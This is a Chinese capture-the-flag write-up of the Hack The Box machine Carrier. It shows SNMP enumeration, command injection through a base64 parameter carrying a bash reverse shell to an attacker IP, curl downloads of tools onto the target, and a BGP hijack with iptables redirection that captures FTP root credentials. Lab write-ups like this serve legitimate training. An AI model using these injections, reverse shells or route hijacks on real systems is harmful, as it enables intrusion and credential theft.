出品|MS08067實驗室(www.ms08067.com)python
本文做者:大方子(Ms08067實驗室核心成員)
git
Hack The Box是一個CTF挑戰靶機平臺,在線滲透測試平臺。它能幫助你提高滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。
https://www.hackthebox.eu/github
平臺上有不少靶機,從易到難,黑客每入侵一臺機器都會得到相應積分,經過積分排名設有名人堂。今天要實驗的是靶機Carrier。shell
目標靶機IP:10.10.10.105
本機IP:10.10.13.133
首先利用Nmap對目標靶機進行信息收集安全
nmap -sC -F -sV 10.10.10.105
-sC:經過默認腳本進行掃描
-sV:掃描目標主機端口上運行軟件的版本
-F:掃描100個最有可能開放的端口bash
顯示靶機開放了21,22,80,3306端口,可是21,3306端口被過濾了。22端口是SSH須要登錄,咱們先從80端口開始看看能不能獲得有用的信息
先打開網頁,是一個登錄頁面,有2個Error提示45007,45009,去Google查詢相似的關鍵詞發現沒有什麼可用信息,應該是自定義的WEB框架,服務器
咱們用gobuster來進行目錄爆破微信
gobuster -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q
先看下tools
/tools:網絡
點進去顯示「許可過時,正在退出」
看下doc
/doc:架構
一個網絡架構圖還有一個是錯誤代碼描述的PDF,根據剛剛網頁提示的錯誤代碼咱們查下對應的解釋
Error 4005:守護進程沒有響應
Error 4009:配置中沒有設置默認的用戶名和密碼(查看機箱序列號)
看下/debug
沒有什麼特別有用的信息
根據那種圖可能還有別的設備,這樣我想起了snmp服務
因此咱們掃下靶機UDP的端口看看有沒有什麼有用的信息
nmap -sU 10.10.10.105
果真目標機器是有開啓snmp,那麼咱們用snmpwalk來進行弱口令利用
snmpwalk -v 1 -c public 10.10.10.105
這個NET_45JDX23可能就是所謂的序列號
咱們回到登錄進行登錄。
Username:嘗試常見的默認用戶名:admin, root
Password: NET_45JDX23
頁面顯示咱們的憑證是無效的
咱們進入Tickets
經過這條信息 咱們知道了3個網段(大概就是剛剛那個網絡架構圖),還有一個FTP:10.120.15.0/24
而後咱們在點Diagnosticd,提示咱們憑證無效,可是能夠使用檢查功能
點下Verify status
這個部分很像是遠程命令執行。
咱們用BURP抓包看下信息
Check用base64轉換下
很明顯這個quagga就是上面輸出信息的一部分,查找相關資料,發現這是一款路由器軟件
那麼咱們設置對check這個參數進行攻擊,咱們把root的base64編碼寫進去
返回信息以下
那麼咱們在試着輸入 root;echo hello
如圖發現咱們是能夠用;進行多語句的執行,那麼咱們用bash反彈一個shell
如今用kali監聽下9001
而後轉換下編碼
這裏輸出cm9vdDtiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEzLjEzMy85MDAxIDA+JjE=
須要注意的是須要把裏面的+和=進入URL編碼轉換才行要否則會出錯
這樣咱們就獲得一個shell了
這樣咱們就能夠獲得user的flag了
接下來就是得到根ROOT的權限
從以前的信息咱們瞭解到有一臺FTP服務器:10.120.15.0/24
咱們試着ping 10.120.15.1看看能不能ping通
咱們須要在靶機上進行掃描,固然你能夠用msf添加路由的方式掃描,這裏我用另外一個種方法把nmap的二進制靜態執行文件上傳到靶機進行掃描
Github:https://github.com/andrew-d/static-binaries
而後咱們用python的SimpleHTTPServer模塊創建服務而後靶機去下載這個文件
而後再靶機分別輸入以下命令
curl http://10.10.13.133:8000/nmap -o nmap chmod +x nmap
而後咱們執行
./nmap -p 21 10.120.15.0/24
發現沒有探測到,多是目標禁止ICMP數據包
那麼咱們加個-Pn參數,同時把結果導出
./nmap -Pn -vvv -p 21 10.120.15.0/24 --open
-Pn:不進行ping直接掃描
-vvv:顯示詳細過程
--open:只顯示端口open狀態信息
咱們發現 10.120.15.10是開放21端口的
而後咱們嘗試下FTP匿名登錄,登錄的時候可能不會有回顯,須要本身打
沒法執行,以前那個ticks也說這個FTP出現了問題。
咱們須要經過劫持BGP欺騙AS200將數據傳輸給咱們的靶機,而後開啓假的FTP服務,以前的信息有顯示到有人會按期訪問這個FTP,這樣咱們就能夠竊取到憑證
如今的狀況大概就是圖上這個樣子
咱們在終端分別輸入
vtysh (quagga的命令) configure terminal(進入配置模式) do show run (顯示配置信息)
咱們須要增長一個network就是把剛剛FTP的那個網段加進來
這裏我直接編輯/etc/ quagga下的bgpd.conf文件內容也就上面顯示的內容
咱們在本身的kali上編輯下內容在裏面加一條10.120.15.0/25
而後用python的SimpleHTTPServer服務上傳到靶機裏面去跟nmap同樣
把以前的文件重命名,而後把咱們的文件下載下來
curl http://10.10.13.133:8000/bgpd.conf -o bgpd.con
而後在iptales上添加記錄並重啓quagga服務
iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.14.65:21 iptables -t nat -A POSTROUTING -j MASQUERADE service quagga restart
而後咱們在下載一個假的ftp監聽21端口來獲得憑證
Github:https://github.com/b1ngda0/FtpServicePython/
不久後就能獲得帳號密碼
root:BGPtelc0rout1ng
而後ssh登錄並獲得root flag
轉載請聯繫做者並註明出處!
Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公衆號按期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地爲主,致力於作一個實用的乾貨分享型公衆號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入後邀請加入內部VIP羣,內部微信羣永久有效!